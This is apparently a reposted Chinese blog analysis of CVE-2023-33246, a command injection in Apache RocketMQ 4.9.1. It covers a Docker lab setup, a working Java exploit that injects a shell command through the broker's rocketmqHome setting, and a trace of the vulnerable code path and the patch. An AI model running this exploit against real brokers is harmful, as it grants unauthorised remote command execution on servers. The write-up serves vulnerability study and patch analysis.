网安教育
培养网络安全人才
技术交流、学习咨询
根据参考文章,可以直接使用docker搭建环境:
1docker pull apache/rocketmq:4.9.1
2docker pull apacherocketmq/rocketmq-console:2.0.0
看起来是一个RocketMQ镜像,一个控制台镜像。
根据参考文章的描述,RocketMQ主要由Name Server和两个Broker组成,实验环境中为了方便搭建,将一个Broker当成两个来用。
首先启动Name Server镜像:
1docker run -d --name namesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv
mqnamesrv是默认目录下的一个shell脚本,负责启动Name Server服务:
1sh ${ROCKETMQ_HOME}/bin/runserver.sh org.apache.rocketmq.namesrv.NamesrvStartup $@
然后编写broker.conf文件配置Broker:
1brokerClusterName = DefaultCluster
2brokerName = broker-a
3brokerId = 0
4deleteWhen = 04
5fileReservedTime = 48
6brokerRole = ASYNC_MASTER
7flushDiskType = SYNC_FLUSH
8brokerIP1 = 192.168.88.129
将权限设置为Master,简单来说就是该Broker拥有读写权限,将brokerIP1设置为访问IP。再启动Broker镜像,将该配置文件映射进去:
1docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
mqbroker也是默认目录下的一个shell脚本,负责启动Broker服务:
1sh ${ROCKETMQ_HOME}/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup $@
最后启动Console控制台镜像:
1docker run -dit --name console -p 8080:8080 --link namesrv:namesrv -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=namesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
为了测试实验环境,先整个项目来运行利用代码,需要的依赖:
1
2<dependency>
3 <groupId>org.apache.rocketmq</groupId>
4 <artifactId>rocketmq-tools</artifactId>
5 <version>5.1.3</version>
6</dependency>
仿照Github上的利用工具:
1Properties props = new Properties();
2String ip = "192.168.88.129";
3props.setProperty("rocketmqHome", "-c $@|sh . echo echo 123 > /tmp/Pwn;");
4props.setProperty("filterServerNums", "1");
5DefaultMQAdminExt admin = new DefaultMQAdminExt();
6admin.setNamesrvAddr(ip + ":9876");
7admin.start();
8admin.updateBrokerConfig(ip + ":10911", props);
9admin.shutdown();
10System.out.println("攻击已结束!请稍后查看结果!");
关于命令为什么能跑,可以看这篇文章,运行后看到命令成功执行:
1[rocketmq@83633e592271 bin]$ cat /tmp/Pwn
2123
看起来环境搭建成功了,这么看下来,好像控制台镜像没什么用。
漏洞发生在Broker服务,找一找服务代码:
1ps -ef -ww
在运行的进程中找到服务进程:
1Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre/lib/ext:/home/rocketmq/rocketmq-4.9.1/bin/../lib -cp .:/home/rocketmq/rocketmq-4.9.1/bin/../conf: org.apache.rocketmq.broker.BrokerStartup
翻一下lib目录,找到可以的jar包rocketmq-broker-4.9.1.jar,弄到主机上导入IDEA中,开始分析。
根据修复补丁,可以看到主要的修改是删去了FilterServerUtil和FilterServerManager这两个类。
1public static void callShell(String shellString, InternalLogger log) {
2Process process = null;
3try {
4 String[] cmdArray = splitShellString(shellString);
5 process = Runtime.getRuntime().exec(cmdArray);
6 process.waitFor();
7 log.info("CallShell: <{}> OK", shellString);
8}
9...
10}
逻辑很简单,就是调用Runtime执行传入的系统命令。
而FilterServerManager类代码多一些,在createFilterServer函数中存在调用FilterServerUtil.callShell函数的代码:
1public void createFilterServer() {
2int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
3String cmd = this.buildStartCommand();
4for(int i = 0; i < more; ++i) {
5 FilterServerUtil.callShell(cmd, log);
6}
7}
命令由buildStartCommand函数构建:
1String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config
将名为rocketmqHome的配置项拼接到命令模板中,因此若该配置项可控和函数调用链皆可控,就存在命令注入的风险。
继续往上寻找调用链,找到start函数:
1public void start() {
2this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
3 @Override
4 public void run() {
5 try {
6 FilterServerManager.this.createFilterServer();
7 } catch (Exception e) {
8 log.error("", e);
9 }
10 }
11}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
12}
可以看到,在start函数被调用后,每隔30秒createFilterServer函数就会被自动调用,因此如果能在运行过程中修改rocketmqHome配置项,就能通过其自动调用完成命令注入。
观察Broker的启动命令,找到BrokerStartup类的main函数,可以看到其调用了BrokerController.start函数:
1if (this.filterServerManager != null) {
2this.filterServerManager.start();
3}
因此只需要修改rocketmqHome配置项就能实现命令注入,根据参考文章,客户端可以通过DefaultMQAdminExt类的updateBrokerConfig函数修改Broker的配置,其中就包括了rocketmqHome配置项。至此,漏洞利用链完成。
如环境搭建中的漏洞测试代码。
一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)
Apache RocketMQ CVE-2023-33246 远程代码执行漏洞
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析
文:Teings
原文链接:https://aluvion.github.io/2023/08/29/CVE-2023-33246-Apache-RocketMQ-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
版权声明:著作权归作者所有。如有侵权请联系删除
原文始发于微信公众号(开源聚合网络空间安全研究院):【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论